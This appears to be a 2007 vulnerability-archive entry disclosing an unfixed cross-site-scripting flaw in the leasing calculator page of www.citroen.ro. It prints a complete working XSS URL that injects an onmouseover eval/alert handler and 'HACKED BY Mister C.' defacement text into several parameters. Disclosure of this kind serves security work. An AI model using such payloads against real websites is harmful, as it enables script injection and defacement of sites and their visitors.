Security researcher Mister C., has submitted on 26/07/2007 a cross-site-scripting (XSS) vulnerability affecting www.citroen.ro, which at the time of submission ranked 174100 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 07/08/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 26/07/2007 |
Date published: 07/08/2007 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Mister C. |
Domain: www.citroen.ro |
Category: XSS |
Pagerank: 174100 |
|---|
URL: http://www.citroen.ro/leasingCalculator.php?price=%3C/textarea%3E%3Cbr%3E%3Ccode+onmouseover=a=eval;
b=alert;a(b(/Hacked/.source));%3EHACKED+BY+Mister+C.%3C/code%3E&model=%3C/textarea%3E%3Cbr%3E%3Ccode
+onmouseover=a=eval;b=alert;a(b(/Hacked/.source));%3EHACKED+BY+Mister+C.%3C/code%3E&echipare=%3C/tex
tarea%3E%3Cbr%3E%3Ccode+onmouseover=a=eval;b=alert;a(b(/Hacked/.source));%3EHACKED+BY+Mister+C+%3C/c
ode%3E&motorizare=%3C/textarea%3E%3Cbr%3E%3Ccode+onmouseover=a=eval;b=alert;a(b(/Hacked/.source));%3
EMOVE+MOUSE+OVER+THIS+AREA%3C/code%3E |
|
Click here to view the mirror
|
|
|
| 
